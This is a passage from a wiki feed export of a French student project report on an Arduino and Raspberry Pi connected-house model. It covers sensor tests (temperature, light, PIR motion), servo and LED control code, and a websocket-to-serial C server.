   [[Fichier:sch_servMotor.jpg]]&lt;br /&gt;
Il est très important et crucial de bien brancher la broche &amp;quot;pulse&amp;quot; du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.&lt;br /&gt;
&lt;br /&gt;
Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:impulsion.jpg]]&lt;br /&gt;
&lt;br /&gt;
Une impulsion de 1 milliseconde correspond à un angle de 0°.&lt;br /&gt;
&lt;br /&gt;
Une impulsion de 2 millisecondes correspond à un angle de 180°.&lt;br /&gt;
&lt;br /&gt;
En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.&lt;br /&gt;
&lt;br /&gt;
N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.&lt;br /&gt;
   &lt;br /&gt;
   // the setup function runs once when you press reset or power the board&lt;br /&gt;
   void setup() {&lt;br /&gt;
     // initialize digital pin LED_BUILTIN as an output.&lt;br /&gt;
     pinMode(2, OUTPUT);&lt;br /&gt;
   }&lt;br /&gt;
   // the loop function runs over and over again forever&lt;br /&gt;
   void loop() {&lt;br /&gt;
     digitalWrite(2, HIGH);   // turn the LED on (HIGH is the voltage level)&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
     digitalWrite(2, LOW);    // turn the LED off by making the voltage LOW&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.&lt;br /&gt;
      //TMP36 Pin Variables&lt;br /&gt;
    int sensorPin = 0;         // the analog pin the TMP36's Vout (sense) pin is connected to&lt;br /&gt;
                                          // the resolution is 10 mV / degree centigrade with a&lt;br /&gt;
                                          // 500 mV offset to allow for negative temperatures&lt;br /&gt;
   void loop()                    // run over and over again&lt;br /&gt;
   {&lt;br /&gt;
    //getting the voltage reading from the temperature sensor&lt;br /&gt;
    int reading = analogRead(sensorPin);  &lt;br /&gt;
    // converting that reading to voltage, for 3.3v arduino use 3.3&lt;br /&gt;
    float voltage = reading * 5.0;&lt;br /&gt;
    voltage /= 1024.0; &lt;br /&gt;
    // print out the voltage&lt;br /&gt;
    Serial.print(voltage); Serial.println(&amp;quot; volts&amp;quot;);&lt;br /&gt;
    // now print out the temperature&lt;br /&gt;
    float temperatureC = (voltage - 0.5) * 100 ;  //converting from 10 mv per degree wit 500 mV offset&lt;br /&gt;
                                                                         //to degrees ((voltage - 500mV) times 100)&lt;br /&gt;
    Serial.print(temperatureC); Serial.println(&amp;quot; degrees C&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.&lt;br /&gt;
&lt;br /&gt;
   // Fonction setup(), appelée au démarrage de la carte Arduino&lt;br /&gt;
   void setup() {&lt;br /&gt;
     // Initialise la communication avec le PC&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
   }&lt;br /&gt;
   // Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée&lt;br /&gt;
   void loop() {&lt;br /&gt;
     // Mesure la tension sur la broche A0&lt;br /&gt;
     int valeur = analogRead(A0);&lt;br /&gt;
     // Envoi la mesure au PC pour affichage et attends 250ms&lt;br /&gt;
     Serial.println(valeur);&lt;br /&gt;
     delay(250);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.&lt;br /&gt;
&lt;br /&gt;
* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.&lt;br /&gt;
&lt;br /&gt;
   int periode=20000;// période entre chaque début d'impulsion en microsecondes&lt;br /&gt;
   int pinServo=8; // variable pour le pin connecté à la commande du servo&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT&lt;br /&gt;
     digitalWrite(pinServo,LOW); // on l'initialise à l'état bas&lt;br /&gt;
   }&lt;br /&gt;
   //boucle principale&lt;br /&gt;
   void loop() {&lt;br /&gt;
     for (int angle=0;angle&amp;lt;=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°&lt;br /&gt;
       setAngle(angle);// on appelle la fonction setAngle définie plus bas&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   //fonction setAngle pour envoyer les impulsions&lt;br /&gt;
   void setAngle(int a){&lt;br /&gt;
     int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree&lt;br /&gt;
     digitalWrite(pinServo,LOW);//on met le pin à l'état bas&lt;br /&gt;
     // la boucle qui suit est nécessaire &lt;br /&gt;
     // pour laisser le temps au servo d'aller à sa position&lt;br /&gt;
     for (int t=0;t&amp;lt;300;t++){ &lt;br /&gt;
       digitalWrite(pinServo,HIGH);// on envoie l'impulsion&lt;br /&gt;
       delayMicroseconds(duree); // pendant la bonne durée&lt;br /&gt;
       digitalWrite(pinServo,LOW); // on stoppe l'impulsion&lt;br /&gt;
       delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
   Entrée : Tension continue de 4.5 à 20V , courant 65mA&lt;br /&gt;
   Sortie : High 3.3 V / Low 0V (Détection ou non)&lt;br /&gt;
   Angle : &amp;lt;100 °&lt;br /&gt;
   Dimension : 32 mm * 24 mm&lt;br /&gt;
   Délai : de 5 à 200 secondes (ajustable)&lt;br /&gt;
   Portée : de 3 à 7 mètres (ajustable).&lt;br /&gt;
   Au repos : 50 uA&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.&lt;br /&gt;
On branche donc :&lt;br /&gt;
&lt;br /&gt;
Le VCC du PIR  sur le 5V de l’arduino&lt;br /&gt;
Le GRD du PIR sur le GRD de l’arduino&lt;br /&gt;
La dernière branche sur le pin 2 de l’arduino&lt;br /&gt;
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:montagePIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.&lt;br /&gt;
&lt;br /&gt;
   //the time we give the sensor to calibrate (10-60 secs according to the datasheet)&lt;br /&gt;
   int calibrationTime = 30;&lt;br /&gt;
   int ledPin = 13;                // choose the pin for the LED&lt;br /&gt;
   int inputPin = 2;               // choose the input pin (for PIR sensor)&lt;br /&gt;
   int pirState = LOW;             // we start, assuming no motion detected&lt;br /&gt;
   int val = 0;                    // variable for reading the pin status&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(ledPin, OUTPUT);      // declare LED as output&lt;br /&gt;
     pinMode(inputPin, INPUT);     // declare sensor as input&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
     Serial.print(&amp;quot;calibrating sensor &amp;quot;);&lt;br /&gt;
     for(int i = 0; i &amp;lt; calibrationTime; i++){&lt;br /&gt;
       Serial.print(&amp;quot;.&amp;quot;);&lt;br /&gt;
       delay(1000);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   void loop(){&lt;br /&gt;
     val = digitalRead(inputPin);  // read input value&lt;br /&gt;
     Serial.println(val);&lt;br /&gt;
     if (val == HIGH) { // check if the input is HIGH&lt;br /&gt;
       digitalWrite(ledPin, HIGH);  // turn LED ON&lt;br /&gt;
       delay(150);&lt;br /&gt;
       if (pirState == LOW) {&lt;br /&gt;
         // we have just turned on&lt;br /&gt;
         Serial.println(&amp;quot;Motion detected!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = HIGH;&lt;br /&gt;
       }&lt;br /&gt;
     } else {&lt;br /&gt;
       digitalWrite(ledPin, LOW); // turn LED OFF&lt;br /&gt;
       delay(300);&lt;br /&gt;
       if (pirState == HIGH){&lt;br /&gt;
         // we have just turned of&lt;br /&gt;
         Serial.println(&amp;quot;Motion ended!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = LOW;&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:moniteurseriepir.jpg]]&lt;br /&gt;
&lt;br /&gt;
* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:decoupagelaser.jpg]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:maquettemonte.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Prise en main de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prise en main CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
prog de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prog CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
== Séances supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Montage de la maquette avec les différents élements pour la présentation.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
==== Schéma de fonctionnement ====&lt;br /&gt;
&lt;br /&gt;
Afin de mettre en place le système, le schéma suivi sera le suivant :&lt;br /&gt;
&lt;br /&gt;
1) Requête de la page WEB par l'envoi d'un caractère.&lt;br /&gt;
&lt;br /&gt;
2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.&lt;br /&gt;
&lt;br /&gt;
3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.&lt;br /&gt;
&lt;br /&gt;
4) Réception de la réponse de l'Arduino par le programme C.&lt;br /&gt;
&lt;br /&gt;
5) Transmission de la réponse à la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Sources GIT ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://archives.plil.fr/tcattela/2017_TD1_2/tree/master&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Page WEB ====&lt;br /&gt;
&lt;br /&gt;
La page web va émettre des requêtes pour chacune des données :&lt;br /&gt;
   -1 pour afficher la valeur du potentiomètre&lt;br /&gt;
   -2 pour afficher la valeur de capteur de luminosité&lt;br /&gt;
   -3 pour afficher la valeur de capteur de température&lt;br /&gt;
   -4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
   -5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
&lt;br /&gt;
Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :&lt;br /&gt;
&lt;br /&gt;
1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)&lt;br /&gt;
&lt;br /&gt;
2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)&lt;br /&gt;
	&lt;br /&gt;
&lt;br /&gt;
   function autoSend0(){&lt;br /&gt;
   websocket.send('0');&lt;br /&gt;
   setTimeout('autoSend1();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend1(){&lt;br /&gt;
   websocket.send('1');&lt;br /&gt;
   setTimeout('autoSend2();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend2(){&lt;br /&gt;
   websocket.send('2');&lt;br /&gt;
   setTimeout('autoSend3();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend3(){&lt;br /&gt;
   websocket.send('3');&lt;br /&gt;
   setTimeout('autoSend4();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend4(){&lt;br /&gt;
   websocket.send('4');&lt;br /&gt;
   }&lt;br /&gt;
   setInterval(autoSend0, 1000);&lt;br /&gt;
   &lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
La requête est lancée en websocket grâce à la commande &amp;quot;websocket.send('x')&amp;quot;, x étant la caractère à envoyer.&lt;br /&gt;
&lt;br /&gt;
Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.&lt;br /&gt;
&lt;br /&gt;
Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi&lt;br /&gt;
&lt;br /&gt;
i représente le numéro de l'instruction&lt;br /&gt;
&lt;br /&gt;
xxxx représente les données correspondant à l'instruction&lt;br /&gt;
&lt;br /&gt;
De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie Arduino ====&lt;br /&gt;
&lt;br /&gt;
Le programme de l'arduino est divisé en deux grandes parties :&lt;br /&gt;
&lt;br /&gt;
Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.&lt;br /&gt;
&lt;br /&gt;
On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    if (temperature &amp;lt; 27)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, HIGH);&lt;br /&gt;
      ledstate2=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, LOW);&lt;br /&gt;
      ledstate2=0;&lt;br /&gt;
    }&lt;br /&gt;
    if (analogRead(A1) &amp;lt; 300)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, HIGH);&lt;br /&gt;
      ledstate1=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, LOW);&lt;br /&gt;
      ledstate1=0;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.&lt;br /&gt;
&lt;br /&gt;
Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.&lt;br /&gt;
&lt;br /&gt;
Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise la formule :&lt;br /&gt;
&lt;br /&gt;
    n = (log10(sensorValue) + 1)&lt;br /&gt;
&lt;br /&gt;
avec n la longueur de sensorValue.&lt;br /&gt;
&lt;br /&gt;
    int sensorValue = analogRead(A0);&lt;br /&gt;
    int n = (log10(sensorValue) + 1);  // nombre de chiffres composant le nombre&lt;br /&gt;
    itoa(n, lengh, 10);&lt;br /&gt;
    itoa(sensorValue, value, 10);&lt;br /&gt;
    strcat(lengh,value);&lt;br /&gt;
    Serial.println(lengh);&lt;br /&gt;
&lt;br /&gt;
La valeur finale transmise en série sera donc de la forme nxxxx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie serveur ====&lt;br /&gt;
&lt;br /&gt;
Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.&lt;br /&gt;
&lt;br /&gt;
Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :&lt;br /&gt;
&lt;br /&gt;
   case LWS_CALLBACK_RECEIVE:&lt;br /&gt;
      printf(&amp;quot;received data: %s\n&amp;quot;,(char *)in);&lt;br /&gt;
      message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);&lt;br /&gt;
    	&lt;br /&gt;
Un appel à la fonction serial_read est ensuite fait.&lt;br /&gt;
&lt;br /&gt;
Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction &amp;quot;rec&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   serial_read(&amp;amp;rec)&lt;br /&gt;
&lt;br /&gt;
Un envoi en série de l'instruction est ensuite fait :&lt;br /&gt;
&lt;br /&gt;
   if(write(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.write&amp;quot;); exit(-1); }&lt;br /&gt;
	&lt;br /&gt;
Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :&lt;br /&gt;
&lt;br /&gt;
   if(read(sd,&amp;amp;n,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
   n=n-48;&lt;br /&gt;
	&lt;br /&gt;
Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :&lt;br /&gt;
&lt;br /&gt;
   for (i=0;i&amp;lt;n;i++)&lt;br /&gt;
   {&lt;br /&gt;
      if(read(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
      value=value+(c-48)*pow(10,n-i-1);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.&lt;br /&gt;
&lt;br /&gt;
   sprintf (value, &amp;quot;%d&amp;quot;, (10*serial_read(&amp;amp;rec))+rec);&lt;br /&gt;
	&lt;br /&gt;
Le résultat final est envoyé en websocket.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
La réalisation de ce projet fut relativement plus compliquée que ce à quoi nous nous attendions. En effet, l'utilisation du FPGA nous a forcés à revoir à la baisse nos espérances.&lt;br /&gt;
&lt;br /&gt;
Malgré cela, l'utilisation du websocket ainsi que des bibliothèques série furent une bonne expérience, l'envie d'approfondir et d'améliorer le projet est réelle, mais en raison d'un manque considérable de temps et du départ en stage et à l'étranger des membres du groupe, nous n'avons pas pu aller aussi loin que nous l'aurions voulu.&lt;br /&gt;
&lt;br /&gt;
Ce fut de plus une première pour l'utilisation du javascript, langage relativement intéressant pour l'actualisation automatique des valeurs entre autre.&lt;br /&gt;
&lt;br /&gt;
Le projet s'est révélé très formateur, et serait approfondi/abouti avec joie.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44332</id>
		<title>Projet IMA3 P2, 2016/2017, TD1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44332"/>
				<updated>2017-06-18T22:28:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Conclusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Maison connectée =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.&lt;br /&gt;
&lt;br /&gt;
* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...&lt;br /&gt;
&lt;br /&gt;
* Tout étant géré à la fois via une interface web et une application Android.  &lt;br /&gt;
&lt;br /&gt;
* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome. &lt;br /&gt;
&lt;br /&gt;
* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)&lt;br /&gt;
&lt;br /&gt;
=== Liste des fonctions à réaliser ===&lt;br /&gt;
* Mesure de la température (en °C) et de la luminosité (en lux).&lt;br /&gt;
&lt;br /&gt;
* Détection de mouvement pour l'éclairage et les intrusions.&lt;br /&gt;
&lt;br /&gt;
* Communication des informations sur une page web et une application Android.&lt;br /&gt;
&lt;br /&gt;
* Automatisation de la commande de chauffage et d'éclairage.&lt;br /&gt;
&lt;br /&gt;
* Automatisation des entrées et sorties de la maison (porte de garage..)&lt;br /&gt;
&lt;br /&gt;
* Prévision de la consommation&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
Pour mener à bien ce projet il nous faudra :&lt;br /&gt;
&lt;br /&gt;
* Raspberry PI3&lt;br /&gt;
&lt;br /&gt;
* Carte SD 8GB&lt;br /&gt;
&lt;br /&gt;
* Arduino Nano&lt;br /&gt;
&lt;br /&gt;
* Servo-moteur&lt;br /&gt;
&lt;br /&gt;
* Capteur de luminosité, capteur de température (pour Arduino)&lt;br /&gt;
&lt;br /&gt;
* 5 leds&lt;br /&gt;
&lt;br /&gt;
* module peltier et un radiateur &lt;br /&gt;
&lt;br /&gt;
* Transformateur 230V/12V&lt;br /&gt;
&lt;br /&gt;
* Relais 3.3V&lt;br /&gt;
&lt;br /&gt;
* Capteur PIR (Passive Infra-Rouge)&lt;br /&gt;
&lt;br /&gt;
* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino &amp;gt; tension seuil LED)&lt;br /&gt;
&lt;br /&gt;
*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :&lt;br /&gt;
&lt;br /&gt;
   Nuit de pleine lune : 0,5 lux&lt;br /&gt;
   Rue de nuit bien éclairée :20 à 70 lux&lt;br /&gt;
   Local de vie : 100 à 200 lux&lt;br /&gt;
   Appartement bien éclairé : 200 à 400 lux&lt;br /&gt;
   Local de travail : 200 à 3 000 lux&lt;br /&gt;
   Stade de nuit : 150 à 1 500 lux&lt;br /&gt;
   Extérieur par ciel couvert : 500 à 25 000 lux&lt;br /&gt;
   Extérieur en plein soleil : 50 000 à 100 000 lux&lt;br /&gt;
&lt;br /&gt;
Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant : &lt;br /&gt;
   [[Fichier:arduino_ldr_schéma.jpeg]]&lt;br /&gt;
&lt;br /&gt;
La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu : &lt;br /&gt;
   [[Fichier:capture_serial_term_ldr.jpg]]&lt;br /&gt;
&lt;br /&gt;
N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.&lt;br /&gt;
&lt;br /&gt;
*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes : &lt;br /&gt;
&lt;br /&gt;
   - Tension d'entrée: 2,7 à 5,5 Vcc&lt;br /&gt;
   - 10 mV/°C&lt;br /&gt;
   - Précision: ±2°C &lt;br /&gt;
   - Linéarité: 0,5°C&lt;br /&gt;
   - Plage d'utilisation: -40°C à +125°C &lt;br /&gt;
&lt;br /&gt;
Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.&lt;br /&gt;
&lt;br /&gt;
*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe. &lt;br /&gt;
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.&lt;br /&gt;
&lt;br /&gt;
*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur (&amp;quot;reste à 45°&amp;quot; par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino : &lt;br /&gt;
   [[Fichier:sch_servMotor.jpg]]&lt;br /&gt;
Il est très important et crucial de bien brancher la broche &amp;quot;pulse&amp;quot; du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.&lt;br /&gt;
&lt;br /&gt;
Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:impulsion.jpg]]&lt;br /&gt;
&lt;br /&gt;
Une impulsion de 1 milliseconde correspond à un angle de 0°.&lt;br /&gt;
&lt;br /&gt;
